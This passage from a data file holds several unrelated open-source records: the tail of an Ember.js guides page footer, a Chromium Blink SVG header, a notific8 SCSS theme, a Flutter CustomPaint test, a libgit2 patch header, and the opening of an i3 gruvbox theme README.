19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm90 0q0-67-39-114t-104-47q-23 0-109 12-40 6-88 6t-87-6q-85-12-109-12-66 0-104 47t-39 114q0 49 18 85t45 58q27 22 68 33t78 17q37 6 83 4h94q46 0 83-4t78-17q41-13 69-33t45-58q17-38 18-85zm125-99q0 116-34 185-22 43-59 74t-79 48q-42 17-95 27t-96 12q-43 2-93 3-43 0-79-2t-82-7q-46-5-85-17t-77-29q-38-17-67-45t-48-64q-35-69-35-185 0-132 76-221-15-45-15-95 0-64 28-121 61 0 106 22t106 69q82-20 172-20 83 0 157 18 58-46 104-67t105-22q29 57 29 121 0 49-15 94 76 89 76 222z\"/></svg>\n </a>\n <a href=\"https://discordapp.com/invite/zT3asNS\" title=\"Discord\">\n <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 245 240\"><path d=\"M104.4 103.9c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1.1-6.1-4.5-11.1-10.2-11.1zm36.5 0c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1s-4.5-11.1-10.2-11.1z\"/><path class=\"st0\" d=\"M189.5 20h-134C44.2 20 35 29.2 35 40.6v135.2c0 11.4 9.2 20.6 20.5 20.6h113.4l-5.3-18.5 12.8 11.9 12.1 11.2 21.5 19V40.6c0-11.4-9.2-20.6-20.5-20.6zm-38.6 130.6s-3.6-4.3-6.6-8.1c13.1-3.7 18.1-11.9 18.1-11.9-4.1 2.7-8 4.6-11.5 5.9-5 2.1-9.8 3.5-14.5 4.3-9.6 1.8-18.4 1.3-25.9-.1-5.7-1.1-10.6-2.7-14.7-4.3-2.3-.9-4.8-2-7.3-3.4-.3-.2-.6-.3-.9-.5-.2-.1-.3-.2-.4-.3-1.8-1-2.8-1.7-2.8-1.7s4.8 8 17.5 11.8c-3 3.8-6.7 8.3-6.7 8.3-22.1-.7-30.5-15.2-30.5-15.2 0-32.2 14.4-58.3 14.4-58.3 14.4-10.8 28.1-10.5 28.1-10.5l1 1.2c-18 5.2-26.3 13.1-26.3 13.1s2.2-1.2 5.9-2.9c10.7-4.7 19.2-6 22.7-6.3.6-.1 1.1-.2 1.7-.2 6.1-.8 13-1 20.2-.2 9.5 1.1 19.7 3.9 30.1 9.6 0 0-7.9-7.5-24.9-12.7l1.4-1.6s13.7-.3 28.1 10.5c0 0 14.4 26.1 14.4 58.3 0 0-8.5 14.5-30.6 15.2z\"/></svg>\n </a>\n </div>\n</div>\n <div id=\"ember315485\" class=\"footer-contributions ember-view\">\n <div class=\"contributor\">\n <p>Hosted by:</p>\n <a href=\"https://www.heroku.com/emberjs\">\n <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 72.5 80.5\" class=\"contributor-logo\"><defs><style>.cls-1{fill:#999}</style></defs><path class=\"cls-1\" d=\"M65.05.25H7.45a7.2 7.2 0 0 0-7.2 7.2v65.6a7.2 7.2 0 0 0 7.2 7.2h57.6a7.2 7.2 0 0 0 7.2-7.2V7.45a7.2 7.2 0 0 0-7.2-7.2zm-46.8 68v-16l9 8zm28 0V44.36c0-1.87-.94-4.11-5-4.11-8.13 0-17.26 4.09-17.35 4.13l-5.65 2.56V12.25h8V35a50.63 50.63 0 0 1 15-2.71c4.94 0 7.9 1.94 9.52 3.57a12.48 12.48 0 0 1 3.48 8.43v24zm2-43h-8a31.1 31.1 0 0 0 6-13h8a23.44 23.44 0 0 1-6 13z\" id=\"black\"/></svg>\n </a>\n </div>\n <div class=\"contributor\">\n <p>CDN provided by:</p>\n <a href=\"https://www.fastly.com\">\n <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 1626 640\" class=\"contributor-logo\"><defs><style>.cls-1{fill:#999}</style></defs><path class=\"cls-1\" d=\"M1105.2 71.3v421.1h126.4v-64.3h-41.8V7.2h-84.7l.1 64.1zM6.9 428.1h43V224.9h-43V169l43-7.1v-56.6c0-68.5 14.9-98.2 102.3-98.2 18.9 0 41.2 2.8 60.8 6.3l-11.6 68.9c-13.3-2.1-19.8-2.5-28.2-2.5-30.8 0-38.6 3.1-38.6 33.1V162h63.9v62.9h-63.9V428h42.5v64.3H6.9zM1062.1 407.7c-13.2 2.8-24.8 2.5-33.2 2.7-34.8.9-31.8-10.6-31.8-43.5v-142h66.3V162H997V7.2h-84.7v377.3c0 74.1 18.3 107.9 98 107.9 18.9 0 44.8-4.9 64.4-9zM1588.2 428.4a32 32 0 1 1-32.1 32 31.95 31.95 0 0 1 32.1-32m0 58.9a26.75 26.75 0 1 0 0-53.5 26.75 26.75 0 0 0 0 53.5m5.9-11.2l-6.5-9.5h-4.5v9.5h-7.2v-31.4h13.1c7.8 0 12.6 3.9 12.6 10.9 0 5.1-2.6 8.6-6.6 9.8l7.8 10.8h-8.7zm-10.9-15.8h5.7c3.3 0 5.5-1.3 5.5-4.7s-2.2-4.6-5.3-4.6h-5.9v9.3zM806.6 224.8v-11.3c-25.6-4.7-51.1-4.7-64.9-4.7-39.4 0-44.2 20.9-44.2 32.2 0 16 5.5 24.7 48.2 34 62.4 14 125.1 28.6 125.1 106 0 73.4-37.8 111.3-117.3 111.3-53.2 0-104.8-11.4-144.2-21.4v-63.2h64.1v11.2c27.6 5.3 56.5 4.8 71.6 4.8 42 0 48.8-22.6 48.8-34.6 0-16.7-12.1-24.7-51.5-32.7-74.2-12.7-133.2-38-133.2-113.5 0-71.4 47.7-99.4 127.3-99.4 53.9 0 94.8 8.4 134.2 18.4v62.8h-64zM416.9 280.4l-6.4-6.4-32.7 28.5a15.53 15.53 0 0 0-5.3-.9 16.4 16.4 0 1 0 16 16.4 19.32 19.32 0 0 0-.7-4.9z\"/><path class=\"cls-1\" d=\"M546.6 407.7l-.1-263.6h-84.7v24.7a173.6 173.6 0 0 0-57.6-21.8h.5v-29.2H415V96.3h-85.3v21.5H340V147h.6A174.1 174.1 0 1 0 462 467.4l15.3 24.9h89.5v-84.7h-20.2zm-169.1-.1v-10h-10.1v9.9a89.59 89.59 0 0 1-84.2-84.7h10.1v-10.1h-10a89.55 89.55 0 0 1 84.1-84v10h10.1v-10a89.67 89.67 0 0 1 84.4 81.5v2.9h-10.2v10.1h10.2v2.8a89.6 89.6 0 0 1-84.4 81.6zM1446 162h174.7v62.9h-41.8l-107.1 263.6c-30.7 74-81.1 143.7-157.9 143.7-18.9 0-44-2.1-61.5-6.3l7.7-76.9a218.08 218.08 0 0 0 33.5 3.5c35.6 0 75.8-22.1 88.4-60.5l-108.6-267.1h-41.8V162h174.8v62.9h-41.7l61.5 151.3 61.5-151.3H1446z\"/></svg>\n </a>\n </div>\n <div class=\"contributor\">\n <p>Tested with:</p>\n <a href=\"https://percy.io\">\n <svg viewBox=\"0 0 423 125\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\" class=\"contributor-logo\"><path fill-rule=\"evenodd\" clip-rule=\"evenodd\" d=\"M400.648 112.355c-.232.748-.608 1.273-1.127 1.568l-.15.076c-.562.234-1.163.2-1.871.023-2.286-.574-12.884-1.789-8.645-14.407l2.514-7.485-.57-1.455-2.755-6.677-17.26-40.878c-.38-.848-.242-1.62.097-2.147.351-.549.971-.826 1.846-.842h9.821c.673 0 1.245.185 1.684.53.44.348.762.878 1.035 1.531l12.67 30.214 9.088-30.13c.195-.72.54-1.268 1.004-1.632.455-.355 1.037-.532 1.716-.532h10.487c.89 0 1.522.257 1.894.738.372.499.422 1.22.146 2.149l-14.103 45.12-5.44 17.506-2.081 6.73zM359.293 71.74h10.723c1.657 0 2.632 1.076 2.047 2.74-3.022 10.177-12.575 17.223-23.981 17.223-14.817 0-25.831-11.255-25.831-25.835s11.014-25.833 25.831-25.833c11.406 0 20.959 7.045 23.981 17.222.585 1.663-.39 2.74-2.047 2.74h-10.723c-1.268 0-2.145-.587-2.925-1.663-1.754-2.446-4.776-3.817-8.286-3.817-6.335 0-11.21 4.6-11.21 11.351 0 6.753 4.875 11.352 11.21 11.352 3.51 0 6.532-1.37 8.286-3.718.78-1.175 1.559-1.762 2.925-1.762zm-52.512-29.06v2.55c1.212-2.158 3.978-5.221 11.198-5.123.524.006.945.206 1.255.53.455.474.673 1.115.673 1.943v11.96c0 .812-.169 1.42-.522 1.826-.337.404-.842.608-1.497.608-1.431-.05-2.794.1-4.124.455a9.778 9.778 0 0 0-3.551 1.791c-1.043.845-1.881 1.98-2.49 3.362-.619 1.404-.933 3.108-.942 5.136l-.069 12.755c-.072 13.321-10.191 11.303-12.553 11.166-.806-.046-1.432-.219-1.868-.658-.438-.44-.657-1.065-.657-1.875V42.68c0-.81.219-1.436.657-1.875.437-.44 1.061-.658 1.868-.658h10.097c.807 0 1.431.219 1.868.658.438.44.657 1.064.657 1.875zm-43.748-2.622c3.564.017 6.835.666 9.816 1.951a23.428 23.428 0 0 1 7.758 5.398c2.185 2.326 3.886 5.04 5.085 8.161 1.198 3.122 1.814 6.536 1.83 10.243 0 .634-.016 1.252-.065 1.838a65.191 65.191 0 0 1-.129 1.772c-.097.78-.389 1.348-.842 1.707-.454.358-1.053.536-1.782.536h-32.457c.615 1.919 1.474 3.479 2.607 4.682a10.428 10.428 0 0 0 3.952 2.602c1.507.552 3.11.812 4.811.812 1.376-.016 2.704-.227 3.968-.665 1.247-.44 2.332-1.026 3.223-1.773.47-.39.94-.7 1.393-.927.47-.227 1.004-.341 1.619-.341l9.329-.097c.892.016 1.539.276 1.928.78.372.504.388 1.154.016 1.95-1.279 2.83-2.981 5.203-5.102 7.106-2.122 1.918-4.584 3.348-7.386 4.325-2.801.958-5.862 1.447-9.182 1.447-4.05-.018-7.694-.683-10.933-1.985-3.255-1.3-6.025-3.104-8.324-5.446-2.317-2.324-4.082-5.057-5.313-8.161-1.23-3.122-1.847-6.504-1.863-10.162.016-3.658.649-7.04 1.912-10.16 1.263-3.107 3.044-5.838 5.36-8.163 2.301-2.34 5.054-4.146 8.228-5.446 3.175-1.3 6.689-1.967 10.543-1.984zm-68.18 5.316a22.761 22.761 0 0 1 6.533-3.865 21.372 21.372 0 0 1 7.61-1.408c6.452 0 12.76 2.895 16.989 7.575 4.223 4.673 6.836 11.128 6.836 18.253s-2.613 13.579-6.836 18.252c-4.23 4.679-10.537 7.575-16.989 7.575-4.725 0-9.683-1.492-13.137-4.816l.01 15.843c.008 13.321-10.192 11.302-12.554 11.166-.803-.046-1.432-.221-1.868-.66-.436-.437-.656-1.066-.656-1.874l-.032-68.665c0-.826.224-1.477.674-1.928.449-.451 1.094-.677 1.92-.677h8.871c.827 0 1.472.226 1.92.677.45.45.665 1.095.675 1.928l.033 2.624zm25.217 20.418c0-6.283-5.041-11.377-11.26-11.377-6.22 0-11.26 5.094-11.26 11.377 0 6.285 5.04 11.379 11.26 11.379 6.219 0 11.26-5.094 11.26-11.379zm36.016-10.825c-1.83 1.268-3.126 3.138-3.887 5.577h20.811c-.518-1.838-1.295-3.317-2.333-4.422a9.086 9.086 0 0 0-3.562-2.374 11.773 11.773 0 0 0-4.178-.716c-2.738.017-5.038.651-6.85 1.935zM153.654 30.725a5.164 5.164 0 0 0-4.903-3.74 5.184 5.184 0 0 0-1.999.362 22.04 22.04 0 0 1-7.383 1.483c-6.346-4.758-21.736-16.252-30.872-22.71 0 0 1.23 3.765 2.897 10.788 0 0-14.478-8.459-24.102-14.931 0 0 3.508 7.442 3.768 9.837 0 0-11.542-2.188-28.406-6.126 0 0 12.47 7.214 15.497 11.48 0 0-15.13-1.284-32.951-2.61 0 0 8.963 4.708 13.31 8.46 0 0-16.213 2.082-28.542 2.466 0 0 9.013 7.263 12.64 10.768 0 0-15.487 5.773-34.041 16.062 0 0 9.67.646 16.611 2.98 0 0-8.546 7.246-23.882 23.932 0 0 9.664-.186 17.475-1.098 0 0-6.266 9.29-14.148 26.035 0 0 5.261-3.185 10.322-4.283 0 0 .21 18.955 10.641 22.173l.01-.012c.51.17.999.234 1.424.241a5.854 5.854 0 0 0 1.595-.204c3.343-.883 5.918-4.082 8.898-7.787h.001c.976-1.213 1.978-2.458 3.041-3.671a25.118 25.118 0 0 1 4.595-4.737c3.758-2.955 8.926-5.15 15.158-4.127 7.023.709 11.247 7.71 14.643 13.339 2.567 4.256 4.595 7.617 7.501 7.987.204.025.408.04.606.043 4.45.078 6.104-5.028 8.198-11.493v-.002l.428-1.32.054.109c1.557-5.232 4.498-10.85 8.064-15.903 4.844-6.865 11.038-12.967 16.931-15.749l.015.03c3.204-1.762 6.574-3.42 9.895-5.054l.003-.002c10.295-5.064 20.018-9.848 24.983-17.277 2.483-3.716 3.762-8.306 3.802-13.644.035-4.788-.947-9.22-1.777-12.095zM110.69 86.593c-2.961 2.678-5.868 6.012-8.437 9.652-4.237 6.006-7.395 12.617-8.389 18.136 2.79 4.723 5.332 7.065 7.742 7.146l.076.001c2.217.039 3.704-1.408 4.422-4.3.536-2.158.694-5.134.878-8.58v-.004c.333-6.28.766-14.373 3.708-22.051zm-68.51 27.086l-.032-.084a21.944 21.944 0 0 1 4.857-5.354c3.071-2.414 7.087-4.161 11.896-3.649a133.762 133.762 0 0 1-1.91 4.6c-2.371 5.407-5.193 10.988-8.14 11.396a3.457 3.457 0 0 1-.527.032c-2.302-.04-4.311-2.31-6.143-6.941zm59.08-88.187L88.55 17.127l21.058 7.834-8.348.53zm-35.4 3.097l20.265 5.502 8.926-2.757-29.19-2.745zm36.116 10.72l4.4-3.177-16.858 2.5 12.458.676zm-28.803-.503l-7.042 4.488-19.263-2.153 26.305-2.335zm21.54 11.899l7.13-3.782-26.304 2.336 19.174 1.446zM75.185 54.7l-5.062 7.91-24.738 5.525 29.8-13.435zm-30.864 4.385L25.105 67.05l23.7-16.185-4.484 8.221zm-10.605 9.767l-.897 8.287-11.187 13.38 12.084-21.667z\" fill=\"#3F3A40\"/></svg>\n </a>\n </div>\n <div class=\"contributor\">\n <p>Resolved with:</p>\n <a href=\"https://dnsimple.com/resolving/emberjs\">\n <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 613.33331 160\" height=\"60\" width=\"100\" class=\"contributor-logo\"><defs><clipPath id=\"a\"><path d=\"M568.809 1050.45c-20.801 0-41.598-1.1-61.301-5.48V841.367c-28.461 10.946-61.301 16.418-105.086 16.418C246.98 857.785 120 751.605 120 580.84c0-175.145 116.031-271.477 286.801-271.477 84.285 0 170.765 22.989 224.402 51.45v684.157c-20.801 4.38-42.691 5.48-62.394 5.48zm-164.2-632.716c-94.14 0-158.722 63.493-158.722 165.293 0 100.707 68.961 165.293 160.914 165.293 37.215 0 71.152-4.379 100.707-22.988V434.156c-32.84-12.043-66.774-17.515-102.899-16.422zm611.911 442.243c-111.653 0-202.512-43.789-248.485-82.102v-452.09c20.797-4.379 41.598-5.472 61.301-5.472 20.797 0 42.691 1.093 62.394 5.472v391.887c24.083 14.23 66.774 28.461 114.94 28.461 79.91 0 125.88-36.125 125.88-131.36V325.785c21.9-4.379 41.6-5.472 62.4-5.472 19.7 0 41.6 1.093 62.39 5.472v318.543c0 119.317-73.34 215.649-240.82 215.649zm554.99-551.707c142.3 0 225.5 65.679 225.5 174.05 0 102.899-82.1 141.211-194.85 158.723-88.67 14.23-111.66 30.652-111.66 64.586 0 32.84 28.46 53.637 94.14 53.637 62.4 0 116.04-18.61 152.16-39.407 25.18 19.704 41.6 50.356 47.07 88.668-33.93 24.082-100.71 50.352-194.85 50.352-131.36 0-217.83-65.676-217.83-162.008 0-109.465 87.57-143.398 179.52-157.629 93.05-14.23 122.6-33.933 122.6-68.965 0-35.027-26.27-62.394-99.61-62.394-82.1 0-128.07 28.461-159.82 51.449-26.27-16.418-47.07-45.977-56.92-85.383 29.55-25.176 98.52-65.679 214.55-65.679zm398.45 614.101c42.69 0 78.82 35.027 78.82 78.809 0 43.79-36.13 78.82-78.82 78.82-44.88 0-81-35.03-81-78.82 0-43.782 36.12-78.809 81-78.809zm0-602.058c20.8 0 41.6 1.093 61.3 5.472v517.77c-19.7 4.379-41.59 5.472-61.3 5.472-20.8 0-41.59-1.093-62.39-5.472v-517.77c20.8-4.379 42.69-5.472 62.39-5.472zm791.43 539.664c-70.05 0-133.54-27.368-176.23-60.207-38.32 37.218-95.24 60.207-169.68 60.207-108.36 0-202.5-45.977-244.1-82.102v-452.09c20.8-4.379 41.6-5.472 61.3-5.472 20.8 0 42.69 1.093 62.39 5.472v391.887c27.37 16.418 65.68 28.461 106.18 28.461 84.29 0 116.04-53.641 116.04-128.074V325.785c20.8-4.379 41.6-5.472 63.49-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 16.422-2.19 32.84-5.47 48.168 25.17 20.797 60.2 42.692 110.55 42.692 84.29 0 117.13-53.641 117.13-128.074V325.785c19.71-4.379 40.51-5.472 62.4-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 112.75-76.63 204.704-226.6 204.704zm591.12-1.098c-98.52 0-180.62-38.313-230.97-79.91V123.273c21.89-4.378 41.59-5.472 62.39-5.472 20.8 0 41.6 1.094 61.3 5.472v201.418c32.84-10.949 67.87-15.328 111.66-15.328 144.49 0 274.75 101.805 274.75 276.95 0 179.523-120.41 272.566-279.13 272.566zm-4.38-438.953c-40.5 0-73.34 6.566-102.9 20.797v279.136c31.75 17.516 65.68 25.176 101.81 25.176 95.23 0 159.82-60.203 159.82-159.816 0-102.899-64.59-165.293-158.73-165.293zm458.66-99.613c20.8 0 42.69 1.093 62.39 5.472v718.095c-20.79 4.37-42.69 5.47-63.48 5.47-20.81 0-41.6-1.1-61.31-5.47V325.785c21.9-4.379 42.7-5.472 62.4-5.472zM4480 624.625c0 139.02-98.52 234.254-237.54 234.254-147.78 0-260.53-116.031-260.53-276.945 0-169.672 111.66-272.571 267.1-272.571 103.99 0 171.86 38.313 215.65 73.344-4.38 31.746-26.28 66.773-53.64 84.289-33.94-24.082-77.72-53.641-153.25-53.641-86.48 0-139.02 52.543-148.88 137.926h366.71c3.29 28.461 4.38 45.977 4.38 73.344zm-369.99 8.758c8.76 71.152 55.83 124.789 132.45 124.789 84.29-1.094 116.03-63.488 116.03-124.789z\" clip-rule=\"evenodd\"/></clipPath><clipPath id=\"b\"><path d=\"M0 0h4600v1200H0z\"/></clipPath></defs><g clip-path=\"url(#a)\" transform=\"matrix(.13333 0 0 -.13333 0 160)\"><g clip-path=\"url(#b)\"><path d=\"M20 17.8h4560V1180H20z\"/></g></g></svg>\n </a>\n </div>\n</div>\n\n\n </div>\n</div>\n</footer>\n<script type=\"x/boundary\" id=\"fastboot-body-end\"></script>\n\n <script src=\"/assets/vendor-43f2851966bb68f3f8b11728eabc662f.js\"></script>\n <script src=\"/assets/ember-guides-282695ea5f03fe0586ac6b0c02eff6f2.js\"></script>\n\n \n </body>\n</html>\n"} {"text": "/*\n * Copyright (C) 2006 Apple Inc. All rights reserved.\n * Copyright (C) 2006, 2008 Nikolas Zimmermann <zimmermann@kde.org>\n *\n * This library is free software; you can redistribute it and/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public License\n * along with this library; see the file COPYING.LIB. If not, write to\n * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301, USA.\n */\n\n#ifndef THIRD_PARTY_BLINK_RENDERER_CORE_SVG_SVG_DOCUMENT_EXTENSIONS_H_\n#define THIRD_PARTY_BLINK_RENDERER_CORE_SVG_SVG_DOCUMENT_EXTENSIONS_H_\n\n#include \"base/macros.h\"\n#include \"third_party/blink/renderer/core/layout/svg/svg_resources_cache.h\"\n#include \"third_party/blink/renderer/platform/geometry/float_point.h\"\n#include \"third_party/blink/renderer/platform/heap/handle.h\"\n#include \"third_party/blink/renderer/platform/wtf/forward.h\"\n#include \"third_party/blink/renderer/platform/wtf/hash_set.h\"\n\nnamespace blink {\n\nclass Document;\nclass SVGElement;\nclass SVGSVGElement;\nclass SubtreeLayoutScope;\n\nclass SVGDocumentExtensions final\n : public GarbageCollected<SVGDocumentExtensions> {\n public:\n explicit SVGDocumentExtensions(Document*);\n ~SVGDocumentExtensions();\n\n void AddTimeContainer(SVGSVGElement*);\n void RemoveTimeContainer(SVGSVGElement*);\n\n // Records the SVG element as having a Web Animation on an SVG attribute that\n // needs applying.\n void AddWebAnimationsPendingSVGElement(SVGElement&);\n\n static void ServiceOnAnimationFrame(Document&);\n\n void StartAnimations();\n void PauseAnimations();\n void ServiceAnimations();\n\n void DispatchSVGLoadEventToOutermostSVGElements();\n\n SVGResourcesCache& ResourcesCache() { return resources_cache_; }\n\n void AddSVGRootWithRelativeLengthDescendents(SVGSVGElement*);\n void RemoveSVGRootWithRelativeLengthDescendents(SVGSVGElement*);\n void InvalidateSVGRootsWithRelativeLengthDescendents(SubtreeLayoutScope*);\n\n bool ZoomAndPanEnabled() const;\n\n void StartPan(const FloatPoint& start);\n void UpdatePan(const FloatPoint& pos) const;\n\n static SVGSVGElement* rootElement(const Document&);\n SVGSVGElement* rootElement() const;\n\n void Trace(blink::Visitor*);\n\n private:\n Member<Document> document_;\n HeapHashSet<Member<SVGSVGElement>> time_containers_;\n using SVGElementSet = HeapHashSet<Member<SVGElement>>;\n SVGElementSet web_animations_pending_svg_elements_;\n SVGResourcesCache resources_cache_;\n // Root SVG elements with relative length descendants.\n HeapHashSet<Member<SVGSVGElement>> relative_length_svg_roots_;\n FloatPoint translate_;\n#if DCHECK_IS_ON()\n bool in_relative_length_svg_roots_invalidation_ = false;\n#endif\n DISALLOW_COPY_AND_ASSIGN(SVGDocumentExtensions);\n};\n\n} // namespace blink\n\n#endif\n"} {"text": "//\n// @license\n// Copyright (c) 2013-2019 Pynk Lynn, LLC\n// This code may only be used under the MIT style license found at\n// https://github.com/pynklynn/notific8/blob/master/LICENSE\n//\n\n@mixin notific8_atomic_theme($name, $color, $text-color: #454545) {\n notific8-notification.atomic.#{$name} {\n --action-button-hover-background-color: #{darken($color, 1%)};\n --background-color: #{lighten($color, 30%)};\n --header-background-color: #{lighten($color, 20%)};\n --header-border-bottom-color: #{lighten($color, 10%)};\n --border-color: #{$color};\n --text-color: #{$text-color};\n }\n}\n\nnotific8-notification.atomic {\n --action-button-hover-background-color: darken(#999, 1%);\n --background-color: lighten(#999, 30%);\n --header-background-color: lighten(#999, 20%);\n --header-border-bottom-color: lighten(#999, 10%);\n --border-color: #999;\n --text-color: #fff;\n\n background-color: var(--background-color);\n border: solid 1px var(--border-color);\n border-radius: em(3px, 14px);\n color: var(--text-color);\n font-size: em(14px);\n min-height: em(70px, 14px);\n padding: 0;\n transition: all .15s ease-in-out;\n width: em(500px);\n\n .notific8-header {\n background-color: var(--header-background-color);\n border-bottom: solid 1px var(--header-border-bottom-color);\n padding: .75em;\n }\n\n &[image] {\n .notific8-image {\n left: em(5px, 14px);\n max-height: em(18px, 14px);\n max-width: em(18px, 14px);\n position: absolute;\n top: em(48px, 14px);\n }\n\n .notific8-message {\n margin-left: em(20px, 12px);\n }\n }\n\n .notific8-content {\n width: 100%;\n }\n\n .notific8-message {\n display: block;\n font-size: em(12px, 14px);\n padding: em(10.5px, 14px);\n }\n\n .notific8-close-button {\n background-color: transparent;\n border: none;\n font-size: em(20px, 14px);\n right: .5em;\n top: .325em;\n }\n\n notific8-action-buttons {\n justify-content: space-around;\n padding: em(8px);\n }\n\n .notific8-action-button {\n background-color: var(--background-color);\n border: none;\n border-radius: em(3px, 12px);\n flex-grow: 1;\n margin-left: em(5px, 12px);\n margin-right: em(5px, 12px);\n padding: em(5px, 12px);\n transition: background-color .15s ease-in-out;\n\n &:hover {\n background-color: var(--action-button-hover-background-color);\n }\n\n &:first-child {\n margin-left: 0;\n }\n\n &:last-child {\n margin-right: 0;\n }\n }\n}\n\nnotific8-container[right] notific8-notification.atomic {\n margin-right: em(-516px);\n\n .notific8-header {\n border-top-right-radius: 3px;\n }\n\n &[open] {\n margin-right: .625em;\n }\n}\n\nnotific8-container[left] notific8-notification.atomic {\n margin-left: em(-516px);\n\n &[open] {\n margin-left: .625em;\n }\n}\n"} {"text": "// Copyright 2015 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n// Synced 2019-08-02T12:50:58.002998.\n\nimport 'package:flutter_web_test/flutter_web_test.dart';\nimport 'package:flutter_web/rendering.dart';\nimport 'package:flutter_web/widgets.dart';\n\nclass TestCustomPainter extends CustomPainter {\n TestCustomPainter({ this.log, this.name });\n\n final List<String> log;\n final String name;\n\n @override\n void paint(Canvas canvas, Size size) {\n log.add(name);\n }\n\n @override\n bool shouldRepaint(TestCustomPainter oldPainter) => true;\n}\n\nvoid main() {\n testWidgets('Control test for custom painting', (WidgetTester tester) async {\n final List<String> log = <String>[];\n await tester.pumpWidget(CustomPaint(\n painter: TestCustomPainter(\n log: log,\n name: 'background',\n ),\n foregroundPainter: TestCustomPainter(\n log: log,\n name: 'foreground',\n ),\n child: CustomPaint(\n painter: TestCustomPainter(\n log: log,\n name: 'child',\n ),\n ),\n ));\n\n expect(log, equals(<String>['background', 'child', 'foreground']));\n });\n\n testWidgets('CustomPaint sizing', (WidgetTester tester) async {\n final GlobalKey target = GlobalKey();\n\n await tester.pumpWidget(Center(\n child: CustomPaint(key: target),\n ));\n expect(target.currentContext.size, Size.zero);\n\n await tester.pumpWidget(Center(\n child: CustomPaint(key: target, child: Container()),\n ));\n expect(target.currentContext.size, const Size(800.0, 600.0));\n\n await tester.pumpWidget(Center(\n child: CustomPaint(key: target, size: const Size(20.0, 20.0)),\n ));\n expect(target.currentContext.size, const Size(20.0, 20.0));\n\n await tester.pumpWidget(Center(\n child: CustomPaint(key: target, size: const Size(2000.0, 100.0)),\n ));\n expect(target.currentContext.size, const Size(800.0, 100.0));\n\n await tester.pumpWidget(Center(\n child: CustomPaint(key: target, size: Size.zero, child: Container()),\n ));\n expect(target.currentContext.size, const Size(800.0, 600.0));\n\n await tester.pumpWidget(Center(\n child: CustomPaint(key: target, child: Container(height: 0.0, width: 0.0)),\n ));\n expect(target.currentContext.size, Size.zero);\n\n });\n\n testWidgets('Raster cache hints', (WidgetTester tester) async {\n final GlobalKey target = GlobalKey();\n\n final List<String> log = <String>[];\n await tester.pumpWidget(CustomPaint(\n key: target,\n isComplex: true,\n painter: TestCustomPainter(log: log),\n ));\n RenderCustomPaint renderCustom = target.currentContext.findRenderObject();\n expect(renderCustom.isComplex, true);\n expect(renderCustom.willChange, false);\n\n await tester.pumpWidget(CustomPaint(\n key: target,\n willChange: true,\n foregroundPainter: TestCustomPainter(log: log),\n ));\n renderCustom = target.currentContext.findRenderObject();\n expect(renderCustom.isComplex, false);\n expect(renderCustom.willChange, true);\n });\n}\n"} {"text": "/*\n* Copyright (C) the libgit2 contributors. All rights reserved.\n*\n* This file is part of libgit2, distributed under the GNU GPL v2 with\n* a Linking Exception. For full terms see the included COPYING file.\n*/\n#ifndef INCLUDE_patch_h__\n#define INCLUDE_patch_h__\n\n#include \"git2/patch.h\"\n#include \"array.h\"\n\n/* cached information about a hunk in a patch */\ntypedef struct git_patch_hunk {\n\tgit_diff_hunk hunk;\n\tsize_t line_start;\n\tsize_t line_count;\n} git_patch_hunk;\n\nstruct git_patch {\n\tgit_refcount rc;\n\n\tgit_repository *repo; /* may be null */\n\n\tgit_diff_options diff_opts;\n\n\tgit_diff_delta *delta;\n\tgit_diff_binary binary;\n\tgit_array_t(git_patch_hunk) hunks;\n\tgit_array_t(git_diff_line) lines;\n\n\tsize_t header_size;\n\tsize_t content_size;\n\tsize_t context_size;\n\n\tvoid (*free_fn)(git_patch *patch);\n};\n\nextern int git_patch__invoke_callbacks(\n\tgit_patch *patch,\n\tgit_diff_file_cb file_cb,\n\tgit_diff_binary_cb binary_cb,\n\tgit_diff_hunk_cb hunk_cb,\n\tgit_diff_line_cb line_cb,\n\tvoid *payload);\n\nextern int git_patch_line_stats(\n\tsize_t *total_ctxt,\n\tsize_t *total_adds,\n\tsize_t *total_dels,\n\tconst git_patch *patch);\n\n/** Options for parsing patch files. */\ntypedef struct {\n\t/**\n\t * The length of the prefix (in path segments) for the filenames.\n\t * This prefix will be removed when looking for files. The default is 1.\n\t */\n\tuint32_t prefix_len;\n} git_patch_options;\n\n#define GIT_PATCH_OPTIONS_INIT { 1 }\n\nextern void git_patch_free(git_patch *patch);\n\n#endif\n"} {"text": "## important notice Thu Jul 5 13:20:44 PDT 2018\nI do not use this desktop theme or i3 anymore and cannot provide support for newer users who want to try it.\nIf it works for you-- great. If you can't get it figured out, I'm sorry, but I will not be able to help you. Good luck!!!\n\n![alt text](https://github.com/a-schaefers/i3-wm-gruvbox-theme/raw/master/screenshots/gruv-clean-grootify.png)\n![alt text](https://github.com/a-schaefers/i3-wm-gruvbox-theme/blob/master/screenshots/gruv-dirty-opate.png) ![alt text](https://github.com/a-schaefers/i3-wm-gruvbox-theme/raw/master/screenshots/gruv-sadkitty-clean.png)\n![alt text](https://github.com/a-schaefers/i3-wm-gruvbox-theme/blob/master/screenshots/gruv-prepper-clean.png)\n\nI did it like this:\n\n1. Install Vim gruvbox theme. I use the 'vim-plug' plugin manager and enable vim gruvbox theme along with 256 colors in vimrc. Source the gruvbox color sh script in\n.bashrc or .zshrc since I use URxvt (see my \"note-about-terminals\"). I\ninstalled lightline which will use the vim gruvbox theme if you set it in the\nlightline vim settings. I also have font-awesome 